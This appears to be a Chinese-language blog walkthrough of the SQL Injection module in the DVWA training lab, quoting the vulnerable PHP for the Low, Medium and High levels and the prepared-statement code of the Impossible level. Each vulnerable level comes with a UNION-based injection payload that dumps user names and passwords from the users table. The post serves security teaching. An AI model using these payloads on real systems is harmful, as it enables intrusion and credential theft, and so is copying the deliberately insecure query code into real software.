DVWA靶場-SQL Injection SQL注入

往期博文:

DVWA靶場-Brute Force Source 暴力破解

DVWA靶場-Command Injection 命令注入

DVWA靶場-CSRF 跨站請求僞造

DVWA靶場-File Inclusion 文件包含

DVWA靶場-File Upload 文件上傳

靶場環境搭建

https://github.com/ethicalhack3r/DVWA

[網絡安全學習篇附]:DVWA 靶場搭建

 

目錄

 

SQL Injection

Low SQL Injection

核心代碼

Medium SQL Injection

核心代碼

High SQL Injection

核心代碼

Impossible SQL

核心代碼


SQL Injection

Low SQL Injection

核心代碼

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {

    $id = $_REQUEST[ 'id' ];

    // 查詢數據庫

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

}

?>

單引號閉合,沒有進行任何過濾,直接聯合查詢走一波

?id=-1' union select 1,(select+group_concat(user,':',password)+from+users)--+&Submit=Submit#

 

Medium SQL Injection

核心代碼

<?php 

$id = $_POST[ 'id' ];

$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

?>

這裏和low級別的區別在於有原來的get 方式提交變成了post 方式,且由原來的單引號閉合變爲了直接拼接sql 語句

id=1 union select 1,(select+group_concat(user,password) from users)&Submit=Submit#

 

High SQL Injection

核心代碼

<?php 

    $id = $_SESSION[ 'id' ];

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 

?>

high 級別使用了session 獲取id 值,閉合方式單引號閉合

直接在跳轉的輸入框內輸入:

-1' union select 1,(select+group_concat(user,password) from users)#

 

 

Impossible SQL

核心代碼

<?php 

// Check Anti-CSRF token

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // 檢查是否是數字或字母

    if(is_numeric( $id )) {

        // 預編譯

        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );

        $data->bindParam( ':id', $id, PDO::PARAM_INT );

        $data->execute();

        $row = $data->fetch(); 

} 

// Generate Anti-CSRF token

generateSessionToken(); 

?>

 

可以看到,Impossible級別 首先使用了Anti-CSRF token機制,提高了其安全性。其次採用了預編譯語句和PDO技術,有效防禦SQL注入。


https://www.sqlsec.com/2020/05/dvwa.html#toc-heading-31

https://www.freebuf.com/articles/web/119467.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章